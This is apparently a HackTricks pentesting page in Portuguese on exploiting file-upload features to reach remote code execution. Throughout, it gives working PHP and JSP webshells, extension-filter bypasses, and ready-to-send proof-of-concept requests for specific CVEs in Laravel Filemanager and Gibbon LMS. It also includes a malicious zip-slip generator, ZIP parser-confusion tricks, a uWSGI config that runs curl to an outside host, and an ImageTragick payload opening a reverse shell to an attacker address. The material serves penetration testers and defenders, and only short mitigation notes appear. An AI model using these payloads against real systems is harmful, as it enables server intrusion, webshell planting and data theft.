Upload de Arquivos
Reading time: 28 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
Metodologia Geral de Upload de Arquivos
Outras extensĂ”es Ășteis:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Bypass das verificaçÔes de extensÔes de arquivo
- Se se aplicarem, verifique as extensĂ”es anteriores. Teste-as tambĂ©m usando algumas letras maiĂșsculas: pHp, .pHP5, .PhAr ...
- Verifique adicionar uma extensão vålida antes da extensão de execução (use também as extensÔes anteriores):
- file.png.php
- file.png.Php5
- Tente adicionar caracteres especiais no final. VocĂȘ pode usar o Burp para bruteforce todos os caracteres ascii e Unicode. (Observe que vocĂȘ tambĂ©m pode tentar usar as extensĂ”es mencionadas anteriormente)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Tente contornar as proteçÔes enganando o parser de extensĂ”es do lado do servidor com tĂ©cnicas como duplicar a extensĂŁo ou adicionar dados lixo (bytes null) entre as extensĂ”es. VocĂȘ tambĂ©m pode usar as extensĂ”es anteriores para preparar um payload melhor.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Adicione outra camada de extensÔes ao teste anterior:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Tente colocar a extensĂŁo de execução antes da extensĂŁo vĂĄlida e torça para que o servidor esteja mal configurado. (Ăștil para explorar misconfiguraçÔes do Apache onde qualquer coisa com extensĂŁo .php, mas nĂŁo necessariamente terminando em .php, executarĂĄ cĂłdigo):
- ex: file.php.png
- Uso do NTFS alternate data stream (ADS) no Windows. Neste caso, um caractere dois-pontos ":" serĂĄ inserido apĂłs uma extensĂŁo proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensĂŁo proibida serĂĄ criado no servidor (ex.: "file.asax:.jpgâ). Esse arquivo pode ser editado depois usando outras tĂ©cnicas, como usar seu nome curto. O padrĂŁo "::$dataâ tambĂ©m pode ser usado para criar arquivos nĂŁo vazios. Portanto, adicionar um ponto apĂłs esse padrĂŁo pode ser Ăștil para contornar restriçÔes adicionais (ex.: "file.asp::$data.â)
- Tente ultrapassar os limites de nome de arquivo. A extensĂŁo vĂĄlida Ă© cortada. E o PHP malicioso permanece. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) â CVE-2024-21546
Alguns handlers de upload cortam ou normalizam caracteres de ponto finais do nome de arquivo salvo. No UniSharpâs Laravel Filemanager (unisharp/laravel-filemanager) em versĂ”es anteriores Ă 2.9.1, vocĂȘ pode contornar a validação de extensĂ”es mediante:
- Usar um MIME de imagem vĂĄlido e header mĂĄgico (por exemplo, o PNG
\x89PNG\r\n\x1a\n). - Nomear o arquivo enviado com uma extensĂŁo PHP seguida por um ponto, ex.:
shell.php.
O servidor remove o ponto final e persiste shell.php, que serĂĄ executado se for colocado em um diretĂłrio servido pela web (armazenamento pĂșblico padrĂŁo como /storage/files/).
PoC mĂnimo (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
EntĂŁo acesse o caminho salvo (tĂpico em Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number check adicionando no inĂcio do arquivo os bytes de uma imagem real (confunde o comando file). Ou introduza o shell dentro dos metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\ou vocĂȘ tambĂ©m pode introduzir o payload diretamente em uma imagem:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - Se compressions is being added to your image, por exemplo usando bibliotecas PHP padrĂŁo como PHP-GD, as tĂ©cnicas anteriores nĂŁo serĂŁo Ășteis. Entretanto, vocĂȘ pode usar o PLTE chunk technique defined here para inserir texto que sobreviva Ă compressĂŁo.
- Github with the code
- A pågina web também pode estar resizing a image, usando por exemplo as funçÔes PHP-GD
imagecopyresizedouimagecopyresampled. No entanto, vocĂȘ pode usar o IDAT chunk technique defined here para inserir texto que sobreviva Ă compressĂŁo. - Github with the code
- Outra técnica para criar um payload que sobrevive a um redimensionamento de imagem, usando a função PHP-GD
thumbnailImage. Entretanto, vocĂȘ pode usar o tEXt chunk technique defined here para inserir texto que sobreviva Ă compressĂŁo. - Github with the code
Other Tricks to check
- Encontre uma vulnerabilidade para rename o arquivo jĂĄ enviado (para mudar a extensĂŁo).
- Encontre uma vulnerabilidade de Local File Inclusion para executar o backdoor.
- PossĂvel disclosure de informação:
- Faça upload vårias vezes (e ao mesmo tempo) do mesmo arquivo com o mesmo nome
- Faça upload de um arquivo com o nome de um arquivo ou pasta que jå existe
- Fazer upload de um arquivo com "." , "..", or "âŠ" como nome. Por exemplo, no Apache no Windows, se a aplicação salvar os arquivos enviados em "/www/uploads/" diretĂłrio, o filename "." criarĂĄ um arquivo chamado uploadsâ em "/www/".
- Fazer upload de um arquivo que pode nĂŁo ser deletado facilmente como "âŠ:.jpg" em NTFS. (Windows)
- Fazer upload de um arquivo no Windows com caracteres invĂĄlidos como
|<>*?âno nome. (Windows) - Fazer upload de um arquivo no Windows usando nomes reservados (proibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Tente tambĂ©m fazer upload de um executĂĄvel (.exe) ou um .html (menos suspeito) que executarĂĄ cĂłdigo quando aberto acidentalmente pela vĂtima.
Special extension tricks
Se vocĂȘ estĂĄ tentando enviar arquivos para um PHP server, dĂȘ uma olhada no .htaccess trick para executar cĂłdigo.
Se vocĂȘ estĂĄ tentando enviar arquivos para um ASP server, dĂȘ uma olhada no .config trick para executar cĂłdigo.
Os arquivos .phar sĂŁo como os .jar para java, mas para php, e podem ser usados como um arquivo php (executando-o com php, ou incluindo-o dentro de um script...)
A extensão .inc às vezes é usada para arquivos php que são apenas usados para importar arquivos, então, em algum momento, alguém pode ter permitido essa extensão ser executada.
Jetty RCE
Se vocĂȘ conseguir enviar um arquivo XML para um servidor Jetty vocĂȘ pode obter RCE porque **novos .xml and .war sĂŁo processados automaticamente. EntĂŁo, como mencionado na imagem a seguir, envie o arquivo XML para $JETTY_BASE/webapps/ e espere a shell!
.png)
uWSGI RCE
Para uma exploração detalhada dessa vulnerabilidade confira a pesquisa original: uWSGI RCE Exploitation.
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguĂ©m tiver a capacidade de modificar o arquivo de configuração .ini. Os arquivos de configuração do uWSGI utilizam uma sintaxe especĂfica para incorporar variĂĄveis "mĂĄgicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como @(filename), Ă© projetado para incluir o conteĂșdo de um arquivo. Entre os vĂĄrios schemes suportados no uWSGI, o scheme "exec" Ă© particularmente potente, permitindo a leitura de dados a partir do stdout de um processo. Essa funcionalidade pode ser manipulada para fins maliciosos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração .ini Ă© processado.
Considere o seguinte exemplo de um arquivo uwsgi.ini malicioso, demonstrando vĂĄrios schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve estar configurado para auto-reload. A feature auto-reload, se habilitada, recarrega o arquivo em intervalos especificados ao detectar alteraçÔes.
à crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binårio (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Um endpoint não autenticado no Gibbon LMS permite arbitrary file write dentro do web root, levando a pre-auth RCE ao enviar um arquivo PHP. VersÔes vulneråveis: até e incluindo 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Método: POST
- ParĂąmetros necessĂĄrios:
img: data-URI-like string:[mime];[name],[base64](o servidor ignora type/name, e base64-decodes a parte final)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
PoC mĂnimo para escrever e ler um arquivo:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Implante um webshell mĂnimo e execute comandos:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Notes:
- O handler executa
base64_decode($_POST["img"])após separar por;e,, então escreve os bytes em$absolutePath . '/' . $_POST['path']sem validar extensão/tipo. - O código resultante roda como o usuårio do serviço web (por exemplo, XAMPP Apache on Windows).
References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.
wget File Upload/SSRF Trick
In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: âAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.phpâ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - âAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.phpâ saved [10/10]
Observe que outra opção que vocĂȘ pode estar pensando para contornar essa verificação Ă© fazer com que o servidor HTTP redirecione para um arquivo diferente, assim a URL inicial vai passar pela verificação e entĂŁo o wget irĂĄ baixar o arquivo redirecionado com o novo nome. Isso nĂŁo funcionarĂĄ a menos que o wget esteja sendo usado com o parĂąmetro --trust-server-names porque o wget baixarĂĄ a pĂĄgina redirecionada com o nome do arquivo indicado na URL original.
EvasĂŁo do diretĂłrio de upload via NTFS junctions (Windows)
(Para esse ataque vocĂȘ precisarĂĄ de acesso local Ă mĂĄquina Windows) Quando os uploads sĂŁo armazenados em subpastas por usuĂĄrio no Windows (e.g., C:\Windows\Tasks\Uploads<id>) e vocĂȘ controla a criação/remoção dessa subpasta, vocĂȘ pode substituĂ-la por uma NTFS junction apontando para um local sensĂvel (e.g., o webroot). Uploads subsequentes serĂŁo gravados no caminho de destino, permitindo execução de cĂłdigo se o alvo interpretar cĂłdigo serverâside.
Exemplo de fluxo para redirecionar uploads para o webroot do XAMPP:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Notas
- mklink /J creates an NTFS directory junction (reparse point). A conta do servidor web deve seguir a junction e ter permissĂŁo de escrita no destino.
- Isto redireciona gravaçÔes arbitrårias de arquivos; se o destino executar scripts (PHP/ASP), isso se torna RCE.
- Defesas: nĂŁo permita que raĂzes de upload gravĂĄveis sejam controlĂĄveis por um atacante sob C:\Windows\Tasks ou similar; bloquear a criação de junctions; validar extensĂ”es no lado do servidor; armazenar uploads em um volume separado ou com denyâexecute ACLs.
GZIP-compressed body upload + path traversal in destination param â JSP webshell RCE (Tomcat)
Alguns upload/ingest handlers escrevem o body bruto da requisição em um caminho do sistema de arquivos que Ă© construĂdo a partir de parĂąmetros de query controlados pelo usuĂĄrio. Se o handler tambĂ©m suporta Content-Encoding: gzip e falha em canonicalizar/validar o destination path, vocĂȘ pode combinar directory traversal com um payload gzipped para gravar bytes arbitrĂĄrios em um diretĂłrio servido pela web e obter RCE (por exemplo, dropar um JSP sob o webapps do Tomcat).
Fluxo genérico de exploração:
- Prepare seu payload server-side (por exemplo, um JSP webshell minimal) e comprima os bytes com gzip.
- Envie um POST onde um parùmetro de caminho (por exemplo, token) contém path traversal escapando da pasta pretendida, e file indica o nome do arquivo a persistir. Defina Content-Type: application/octet-stream e Content-Encoding: gzip; o body é o payload comprimido.
- Acesse o arquivo escrito para disparar a execução.
Requisição ilustrativa:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
EntĂŁo acione:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notas
- Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
- A extensĂŁo Hackvertor do Burp Suite pode produzir um corpo gzip correto a partir do seu payload.
- Este Ă© um padrĂŁo puramente pre-auth arbitrary file write â RCE; ele nĂŁo depende de multipart parsing.
MitigaçÔes
- Determine os destinos de upload no lado do servidor; nunca confie em fragmentos de caminho vindos dos clientes.
- Canonicalize e garanta que o caminho resolvido permaneça dentro de um diretório base allow-listed.
- Armazene uploads em um volume não-executåvel e negue execução de scripts a partir de caminhos gravåveis.
Ferramentas
- Upload Bypass é uma ferramenta poderosa projetada para ajudar Pentesters e Bug Hunters a testar mecanismos de file upload. Ela aproveita vårias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliaçÔes completas de aplicaçÔes web.
Corrompendo upload indices com snprintf quirks (historical)
Alguns handlers de upload legados que usam snprintf() ou similar para construir arrays multi-file a partir de um upload single-file podem ser enganados a forjar a estrutura _FILES. Devido a inconsistĂȘncias e truncamento no comportamento de snprintf(), um upload cuidadosamente criado pode aparecer como mĂșltiplos arquivos indexados no lado do servidor, confundindo lĂłgica que assume uma forma estrita (por exemplo, tratando como um upload multi-file e seguindo ramos inseguros). Embora hoje em dia seja nicho, esse padrĂŁo de âindex corruptionâ ocasionalmente reaparece em CTFs e codebases mais antigas.
From File upload to other vulnerabilities
- Set filename to
../../../tmp/lol.pngand try to achieve a path traversal - Set filename to
sleep(10)-- -.jpgand you may be able to achieve a SQL injection - Set filename to
<svg onload=alert(document.domain)>to achieve a XSS - Set filename to
; sleep 10;to test some command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- PDFs especialmente criados para XSS: a pĂĄgina a seguir mostra como inject PDF data to obtain JS execution. Se vocĂȘ puder fazer upload de PDFs, pode preparar um PDF que execute JS arbitrĂĄrio seguindo as indicaçÔes dadas.
- Faça upload do conteĂșdo de [eicar](https://secure.eicar.org/eicar.com.txt) para verificar se o servidor possui algum antivirus
- Verifique se existe algum size limit ao fazer upload de arquivos
Aqui estĂĄ uma lista top 10 de coisas que vocĂȘ pode conseguir enviando arquivos (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Bytes Mågicos de Cabeçalho
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para outros tipos de arquivo.
Zip/Tar File Automatically decompressed Upload
Se vocĂȘ puder fazer upload de um ZIP que serĂĄ descomprimido dentro do servidor, vocĂȘ pode fazer 2 coisas:
Symlink
Faça upload de um arquivo contendo soft links para outros arquivos; ao acessar os arquivos descomprimidos vocĂȘ acessarĂĄ os arquivos linkados:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Descompactar em pastas diferentes
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposiçÔes iniciais de que essa configuração poderia impedir OS-level command execution por meio de malicious file uploads, o suporte a compressão hierårquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes bypass restrictions e escapem dos secure upload directories ao manipular a funcionalidade de descompressão da aplicação alvo.
Um exploit automatizado para criar tais arquivos estĂĄ disponĂvel em evilarc on GitHub. A ferramenta pode ser usada como mostrado:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Além disso, a symlink trick with evilarc é uma opção. Se o objetivo for direcionar um arquivo como /flag.txt, deve ser criado um symlink para esse arquivo no seu sistema. Isso assegura que evilarc não encontre erros durante sua operação.
Abaixo estĂĄ um exemplo de cĂłdigo Python usado para criar um arquivo zip malicioso:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
Para mais detalhes veja a postagem original em: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Criando um PHP Shell: Código PHP é escrito para executar comandos passados através da variåvel
$_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: VĂĄrios arquivos sĂŁo criados e um zip Ă© montado contendo esses arquivos.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modificação com um Hex Editor ou vi: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hex, trocando "xxA" por "../" para percorrer diretórios.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Quando um backend valida entradas ZIP usando o ZipArchive do PHP, mas a extração grava no filesystem usando nomes raw, vocĂȘ pode contrabandear uma extensĂŁo nĂŁo permitida inserindo um NUL (0x00) nos campos de filename. ZipArchive trata o nome da entrada como uma Câstring e trunca no primeiro NUL; o filesystem grava o nome completo, cortando tudo apĂłs o NUL.
High-level flow:
- Prepare um arquivo container legĂtimo (por ex., um PDF vĂĄlido) que incorpore um pequeno PHP stub em um stream para que o magic/MIME permaneça um PDF.
- Nomeie-o como
shell.php..pdf, zip it, entĂŁo hexâedite o ZIP local header e o central directory filename para substituir o primeiro.apĂłs.phppor0x00, resultando emshell.php\x00.pdf. - Validadores que dependem do ZipArchive irĂŁo âverâ
shell.php .pdfe permitir; o extractor gravashell.phpno disco, levando a RCE se a pasta de upload for executĂĄvel.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notas
- Altere AMBAS as ocorrĂȘncias do filename (local e central directory). Algumas ferramentas adicionam tambĂ©m uma entrada extra de data descriptor â ajuste todos os campos name se presentes.
- O arquivo payload ainda precisa passar pela verificação serverâside de magic/MIME. Incorporar o PHP em um PDF stream mantĂ©m o cabeçalho vĂĄlido.
- Funciona quando o enum/validation path e o extraction/write path discordam no tratamento de strings.
ZIPs empilhados/concatenados (desacordo do parser)
Concatenar dois arquivos ZIP vĂĄlidos produz um blob onde diferentes parsers focam em diferentes registros EOCD. Muitas ferramentas localizam o Ășltimo End Of Central Directory (EOCD), enquanto algumas bibliotecas (por exemplo, ZipArchive em fluxos de trabalho especĂficos) podem analisar o primeiro arquivo que encontrarem. Se a validação enumerar o primeiro arquivo e a extração usar outra ferramenta que respeite o Ășltimo EOCD, um arquivo benigno pode passar nas verificaçÔes enquanto um malicioso Ă© extraĂdo.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
PadrĂŁo de abuso
- Crie um arquivo benigno (tipo permitido, por exemplo, um PDF) e um segundo arquivo contendo uma extensĂŁo bloqueada (por exemplo,
shell.php). - Concatene-os:
cat benign.zip evil.zip > combined.zip. - Se o servidor valida com um parser (vĂȘ
benign.zip) mas extrai com outro (processaevil.zip), o arquivo bloqueado acaba no caminho de extração.
ImageTragic
Faça upload deste conteĂșdo com uma extensĂŁo de imagem para explorar a vulnerabilidade (ImageMagick , 7.0.1-1) (a partir do exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Incorporando PHP Shell em PNG
Incorporar um PHP Shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operaçÔes de processamento de imagem. As funçÔes imagecopyresized e imagecopyresampled do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do PHP Shell embutido de permanecer inalterado por essas operaçÔes é uma vantagem significativa para certos casos de uso.
A exploração detalhada dessa tĂ©cnica, incluindo sua metodologia e possĂveis aplicaçÔes, Ă© fornecida no seguinte artigo: "Encoding Web Shells in PNG IDAT chunks". Este recurso oferece uma compreensĂŁo abrangente do processo e de suas implicaçÔes.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Arquivos polyglot servem como uma ferramenta Ășnica em segurança cibernĂ©tica, atuando como camaleĂ”es que podem existir validamente em mĂșltiplos formatos de arquivo simultaneamente. Um exemplo intrigante Ă© um GIFAR, um hĂbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos nĂŁo se limitam a esse pareamento; combinaçÔes como GIF e JS ou PPT e JS tambĂ©m sĂŁo viĂĄveis.
